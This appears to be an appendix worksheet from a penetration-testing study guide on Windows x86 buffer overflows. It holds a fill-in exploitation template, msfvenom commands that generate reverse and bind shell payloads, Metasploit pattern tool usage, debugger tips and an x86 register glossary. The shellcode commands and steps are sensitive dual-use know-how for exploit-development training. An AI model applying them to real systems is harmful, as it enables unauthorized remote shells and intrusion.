Appendix A Fun with buffer overflow ver1.1

Date: **Program name:** **version:** **CVE:** **vuln:** **Exploit-web-link:**

Do I have a proof of concept?What is the POC?What OS? What Ver? What debugger? Rhost =	**debuger**	**OS/ver**	**TCP/udp**	**Shell type**	**L/R port**
Injected variable (ex.\x41\):					
Notes:					
Steps	**number**	**bytes**	**address**	**value**	**register**
Fuzz program with what strict pattern?:					
HEX Value of EIP after strict pattern:					
HEX Value of ESP after strict pattern:					
Delimiter (ex. “\r\n”) :					
Fuzz program with pattern.rb? Get EIP:					
What was the offset.rb? Get ESP:					
Which registers can help us?					
Get the offset number:					
Badchars: in the stack Look for little endian in the stack:					
JMP ESP:					
Buffer size/ buffer length:					
Shell code size:					
Number of nops needed “\x90”:					
Big-endian to little-endian conversion:	Big-endian			little-endian	

Create shell codes note: ‘//’ means next line continued

```
msfvenom -p windows/shell_reverse_tcp LHOST=<ipaddress> LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d"//
 -e x86/shikata_ga_nai > windows_reverse_shell_code
msfvenom –p windows/shell_bind_tcp –f c
```

if you are curious about what the raw shellcode looks like then pipe it to ndisasm

```
msfvenom –p windows/shell_bind_tcp –f raw | ndisasm –U-
```

pattern.rb current location 2017:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

```
Options:
    -l, --length <length>         The length of the pattern
    -s, --sets <ABC,def,123>      Custom Pattern Sets
    -h, --help                    Show this message
```

Pattern.rb current location on kali 2017:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

```
Options:
    -q, --query Aa0A              Query to Locate
```

ndasm location: /usr/share/metasploit-framework/tools/nasm_shell.rb

Immunity cheats

F2 sets a breakpoint

If you need to know anything in the tool bar highlight the mouse over the name and it will display in the bottom grey bar.

X86 assembly registers

EIP *stores the pointer to the next instruction to be executed.*
EAX *(accumulator register) used in arithmetic operations.*
ECX *(counter register) used in shift/rotate instructions and loops.*
EDX *(Data register) used in arithmetic operations and data (I/O)* ops
EBX *(Base register) used as pointer to data*
ESP *(stack pointer register) points to the current stack location. Points to the address at the top of the stack*
EBP *(base bointer register) used to pint to the base of the stack*
ESI *(source index register) used as a pointer to a source in stream operations*
EDI *(destination index register) used as a pointer to destination in stream operations.*